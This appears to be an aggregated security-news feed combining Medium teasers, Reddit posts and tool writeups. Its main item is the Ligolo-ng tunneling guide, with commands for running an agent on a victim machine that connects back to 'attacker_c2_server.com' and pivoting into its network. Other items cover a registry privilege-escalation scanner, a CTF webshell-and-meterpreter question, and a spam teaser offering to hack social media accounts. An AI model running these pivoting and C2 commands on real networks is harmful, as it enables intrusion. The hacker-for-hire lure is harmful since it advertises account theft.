Hacking on Medium
Investigate & Monitor Mobile Phone, Hack Facebook, WhatsApp, Instagram, Gmail, Legit Cyber Hacker…

Hello everyone, If you want to hire a reliable hacker to help you hack and program access into any device, system, website, Bitcoin site…

Continue reading on Medium »

What is Bug Bounty
https://medium.com/@vimukumarasiri/what-is-bug-bounty-20afa920ea02?source=rss------bug_bounty-5

Bug Bounty is a program offered by many websites, organizations, and app developers to report bugs on their apps or websites. Those kinds…Continue reading on Medium » (https://medium.com/@vimukumarasiri/what-is-bug-bounty-20afa920ea02?source=rss------bug_bounty-5)

Beyond rubber ducky: evil mass storage POC with AT90USBKEY2. malware-tool for offline system. USB composite device with keyboard + mass storage + exfiltration via radio.
https://www.reddit.com/r/redteamsec/comments/ppv1yd/beyond_rubber_ducky_evil_mass_storage_poc_with/

submitted by /u/gid0rah (https://www.reddit.com/user/gid0rah)
[link] (https://www.driverentry.com/node/104) [comments] (https://www.reddit.com/r/redteamsec/comments/ppv1yd/beyond_rubber_ducky_evil_mass_storage_poc_with/)

What is Bug Bounty

Bug Bounty is a program offered by many websites, organizations, and app developers to report bugs on their apps or websites. Those kinds…Continue reading on Medium »
Read more...

Kali Linux TutorialsLigolo-Ng : An Advanced, Yet Simple, Tunneling/Pivoting Tool That Uses A TUN Interface
Ligolo-Ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection without the need of SOCKS.

Features

* Tun interface (No more SOCKS!)
* Simple UI with agent selection and network information
* Easy to use and setup
* Automatic certificate configuration with Let’s Encrypt
* Performant (Multiplexing)
* Does not require high privileges
* Socket listening/binding on the agent
* Multiple platforms supported for the agent

How Is This Different From Ligolo/Chisel/Meterpreter… ?

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.

As an example, for a TCP connection:

* SYN are translated to connect() on remote
* SYN-ACK is sent back if connect() succeed
* RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
* Nothing is sent if timeout

This allows running tools like nmap without the use of proxychains (simpler and faster).

Building & Usage

Building Ligolo-ng

Building ligolo-ng:

$go build -o agent cmd/agent/main.go
$go build -o proxy cmd/proxy/main.go
#Build agent for Windows
$GOOS=windows go build -o agent.exe cmd/agent/main.go

Setup Ligolo-ng

Start the proxy server on your Command and Control (C2) server (default 11601 listening will be use):

$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up
$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates

TLS Options

Using Let’s Encrypt Autocert

When using the -autocert option, the proxy will automatically request a certificate (using Let’s Encrypt) for attacker_c2_server.com when an agent connects.

Port 80 needs to be accessible for Let’s Encrypt certificate validation/retrieval

Using your own TLS certificates

If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.

Automatic self-signed certificates (NOT RECOMMENDED)

The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.

The -ignore-cert option needs to be used with the agent.

Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.

Using Ligolo-ng

Start the agent on your target (victim) computer (no privileges are required!):

$ ./agent -connect attacker_c2_server.com:11601

A session should appear on the proxy server.

INFO[0102] Agent joined. name=nchatelain@nworkstation remote=”XX.XX.XX.XX:38000″

Use the session command to select the agent.

ligolo-ng » session
? Specify a session : 1 – nchatelain@nworkstation – XX.XX.XX.XX:38000

Display the network configuration of the agent using the ifconfig command:

[Agent : nchatelain@nworkstation] » ifconfig
[…]
┌─────────────────────────────────────────────┐
│ Interface 3 │
├──────────────┬──────────────────────────────┤
│ Name │ wlp3s0 │
│ Hardware MAC │ de:ad:be:ef:ca:fe │
│ MTU │ 1500 │
│ Flags │ up|broadcast|multicast │
│ IPv4 Address │ 192.168.0.30/24 │
└──────────────┴──────────────────────────────┘

Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.[...]

$ sudo ip route add 192.168.0.0/24 dev ligolo

Start the tunnel on the proxy:

[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation

You can now access the 192.168.0.0/24 agent network from the proxy server.

$ nmap 192.168.0.0/24 -v -sV -n
[…]
$ rdesktop 192.168.0.123
[…]

Agent Binding/Listening

You can listen to ports on the agent and redirect connections to your control/proxy server.

In a ligolo session, use the listener_add command.

The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server

[Agent : nchatelain@nworkstation] » listener_add –addr 0.0.0.0:1234 –to 127.0.0.1:4321 –tcp
INFO[1208] Listener created on remote agent!

On the proxy:

$ nc -lvp 4321

When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.

This is very useful when using reverse tcp/udp payloads.

You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:

[Agent : nchatelain@nworkstation] » listener_list
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners │
├───┬─────────────────────────┬────────────────────────┬────────────────────────┤
│ # │ AGENT │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────┤
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234 │ 127.0.0.1:4321 │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘
[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.

Does It Require Administrator/Root Access ?

On the agent side, no! Everything can be performed without administrative access.

However, on your relay/proxy server, you need to be able to create a tun interface.

Supported Protocols/Packets

* TCP
* UDP
* ICMP (echo requests)

Performance

You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.

$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[ 5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 12.5 MBytes 105 Mbits/sec 0 164 KBytes
[ 5] 1.00-2.00 sec 12.7 MBytes 107 Mbits/sec 0 263 KBytes
[ 5] 2.00-3.00 sec 12.4 MBytes 104 Mbits/sec 0 263 KBytes
[ 5] 3.00-4.00 sec 12.7 MBytes 106 Mbits/sec 0 263 KBytes
[ 5] 4.00-5.00 sec 13.1 MBytes 110 Mbits/sec 2 134 KBytes
[ 5] 5.00-6.00 sec 13.4 MBytes 113 Mbits/sec 0 147 KBytes
[ 5] 6.00-7.00 sec 12.6 MBytes 105 Mbits/sec 0 158 KBytes
[ 5] 7.00-8.00 sec 12.1 MBytes 101 Mbits/sec 0 173 KBytes
[ 5] 8.00-9.00 sec 12.7 MBytes 106 Mbits/sec 0 182 KBytes
[ 5] 9.00-10.00 sec 12.6 MBytes 106 Mbits/sec 0 188 KBytes
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 127 MBytes 106 Mbits/sec 2 sender
[ 5] 0.00-10.08 sec 125 MBytes 104 Mbits/sec receiver

Caveats

Because the agent is running without privileges, it’s not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.

When using nmap, you should use --unprivileged or -PE to avoid false positives.


Download

CTF Help need iis_webdav Credentials cracked
https://www.reddit.com/r/Pentesting/comments/ppvngh/ctf_help_need_iis_webdav_credentials_cracked/

<!-- SC_OFF -->Hey Guys i'm sitting in front of a CTF Lab and i'm stucking for a few days. the Flag is to get the NTLM hash of the Administrator FACTS: - Windows Server 2019
- Port 80 open
- webdav Directory
- cracked credentials of 2 Users (User1 and Administrator)
- uploaded Webshell to webdav directory
- Webshell is running as IIS_AppPool User
- tried metasploit iis_webdav with Credentials of User1 and Administrator (different payloads) always ERROR 500
- created a meterpreter session with uploaded exe started over the webshell NEED: - i need a way to escalate my Privileges to the Administrator User (credentials available)
- tried with some fany runas commands without success ​ what could i try to get the flag? <!-- SC_ON --> submitted by /u/dontask4name (https://www.reddit.com/user/dontask4name)
[link] (https://www.reddit.com/r/Pentesting/comments/ppvngh/ctf_help_need_iis_webdav_credentials_cracked/) [comments] (https://www.reddit.com/r/Pentesting/comments/ppvngh/ctf_help_need_iis_webdav_credentials_cracked/)

hacking: security in practice
Unauthenticated Remote Code Execution in Motorola Baby Monitors

https://external-preview.redd.it/F-aH-QJrfQ6F9VzHvKVf-mWOh-49aWyoC-xvVvPCdGs.jpg?width=640&crop=smart&auto=webp&s=db1120cced3721cf95accea8af10363aade65a2f submitted by /u/pinpepnet
[link] [comments]

Hacking on Medium
Hacking the Quick Response code


When you’re a home automation junkie 🤓 like me, you’ve probably scanned a product or two. QR codes makes your home automation life easier…

Continue reading on Medium »

https://b.thumbs.redditmedia.com/VDG7_Aeffe17ovcoKJSPeADd743EKtKTA8bvAQ3G9vY.jpg I had installed chaosvpn however I have no idea what to mail. The mailing -info is given in ubuntu request to in the chaosvpn website but I couldn't interpret it.

​

Its my ubuntu vmware

submitted by /u/VortexFlickens
[link] [comments]

hacking: security in practice
What is the relationship between Matrices and Arrays?

I understand what Matrices are and how they're used but I don't know too much about arrays.

submitted by /u/TuneAway
[link] [comments]

hacking: security in practice
What's your host operating system?

i've been a guy who wants a stable os on host system that just works while i can pretty much do anything in a virtual machine without the fear of breaking my system.

elite linux users would hate me using "just works".

View Poll

submitted by /u/ixceyfa1con
[link] [comments]

hacking: security in practice
I can't tell if this is really stupid or actually smart

Lots of forms have certain requirements for passwords (length, inclusion of certain characters, etc) but that doesn't stop people from sharing passwords. I think if websites said "We recommend using a password that is an embarrassing truth about yourself"

The effect of this would be longer passwords which are more difficult to bruteforce and no-one would share their password if it was something like "IregularlywetthebeduntilIwas15" or something like that.

Downside is if the password does get leaked it's more embarrassing

submitted by /u/doubleredacted
[link] [comments]

Hacking on Medium
Update Your Apple Devices to Guard Against Pegasus Spyware Attacks


By NSI Visiting Fellow Sam Curry

Continue reading on The SCIF »

Kali Linux TutorialsReg1c1de : Registry Permission Scanner For Finding Potential Privesc Avenues Within Registry
Reg1c1de is a tool that scans specified registry hives and reports on any keys where the user has write permissions In addition, if any registry values are found that contain file paths with certain file extensions and they are writeable, these will be reported as well.

More information on this tool and it’s use can be found in the related github.io article: here

Help output:

++++++++++++++Reg1c1de++++++++++++++++
+author: @deadjakk | http://shell.rip+
++++++++++++++++++++++++++++++++++++++
Description:
Reg1c1de is a tool that scans specified registry hives and reports on any keys where the user has write permissions
In addition, if any registry values are found that contain file paths with certain file extensions and they are writeable, these will be reported as well.
These keys should be investigated further as they could potentially lead to a path to privilege escalation or other evil
Arguments: (THESE ARE ALL OPTIONAL!)
-h show this help message
-vv enable debug output (more verbose)
-e scan the entire specified hive, this is disabled by default
-o filename to write the vulnerable keys to csv, example -o=filename
-k base key to enumerate from under the hive, default=Software, example -k=Software
-df disables writeable file checking, in case you don’t want to make thousands of access denied file open attempts
-r four letter shorthand of the root hive to enumerate from, default=HKLM, example -r=HKLM
Acceptable values are: HKCU, HKLM, HKCR, HKCC, HKU
-writetests enabling this flag will enable write tests, which will write a dummy registry key and value to every discovered instance of write access to a key.
I DO NOT recommend using this, especially if you cannot make a registry backup, nevertheless it is here.
Example Usage:
Reg1c1de.exe -v -o=outputfile -r=HKLM -e


Download

On-The-Fly - Tool Which Gives Capabilities To Perform Pentesting Tests In Several Domains (IoT, ICS & IT)

▒█████ ███▄ █ ▄▄▄█████▓ ██░ ██ ▓█████ █████ ██▓ ▓██ ██▓▒██▒ ██▒ ██ ▀█ █ ▓ ██▒ ▓▒▒▓██░ ██ ▓█ ▀ ▓██ ▓██▒ ▒██ ██▒▒██░ ██▒▓██ ▀█ ██▒ ▒ ▓██░ ▒░░▒██▀▀██ ▒███ ▒████ ▒██░ ▒██ ██░▒██ ██░▓██▒ ▐▌██▒ ░ ▓██▓ ░ ░▓█ ░██ ▒▓█ ▄ ░▓█▒ ▒██░ ░ ▐██▓░░ ████▓▒░▒██░ ▓██░ ▒██▒ ░ ░▓█▒░██▓▒░▒████ ▒░▒█░ ▒░██████ ░ ██▒▓░░ ▒░▒░▒░ ░ ▒░ ▒ ▒ ▒ ░░ ▒ ░░▒░▒░░░ ▒░ ░ ▒ ░ ░░ ▒░▓ ██▒▒▒ ░ ▒ ▒░ ░ ░░ ░ ▒░ ░ ▒ ░▒░ ░░ ░ ░ ░ ░ ░░ ░ ▒ ▓██ ░▒░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ Different technologies and paradigms are hyperconnected and offer advances to society. The usage of other technologies among these devices makes security uneven. When facing a pentest in any environment, one major factor is the network. The network interconnects the world of the Internet of Things, the world of industrial control systems, and information technology. This README introduces the 'on-the-fly' tool, which gives capabilities to perform pentesting tests in several domains (IoT, ICS & IT). It is an innovative tool by bringing together different worlds sharing a common factor: the network.Prerequisities'on-the-fly' was written in Python and made extensive use of Scapy and netfilterqueue. It is crucial to have Scapy in Python and netfilterqueue installed with a compatible version of Python. For this, a version of Python 3 up to Python version 3.7.5 is recommended (and no higher, as there may be incompatibilities with 3.8 and 3.9 in some libraries that it uses 'on-the-fly'). There is a requirements.txt file that must be executed the first time the tool is launched using 'pip install -r requirements.txt'. Again the pip version must be oriented to a Python 3 version up to 3.7.5.pip install -r requirements.txtUsagepython on-the-fly.pyExample videoson-the-fly: MySQL_manipulation Moduleon-the-fly: SSDP_fake Moduleon-the-fly: Proxy_socks4 Moduleon-the-fly: Port_forwarding Moduleon-the-fly: MDNS_Scan ModuleContactTHE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. WHENEVER YOU MAKE A CONTRIBUTION TO A REPOSITORY CONTAINING NOTICE OF A LICENSE, YOU LICENSE YOUR CONTRIBUTION UNDER THE SAME TERMS, AND YOU AGREE THAT YOU HAVE THE RIGHT TO LICENSE YOUR CONTRIBUTION UNDER THOSE TERMS. IF YOU HAVE A SEPARATE AGREEMENT TO LICENSE YOUR CONTRIBUTIONS UNDER DIFFERENT TERMS, SUCH AS A CONTRIBUTOR LICENSE AGREEMENT, THAT AGREEMENT WILL SUPERSEDE.This software doesn't have a QA Process. This software is a Proof of Concept.If you have any problems, you can contact:ideaslocas@telefonica.comDownload On-The-Fly
Read more...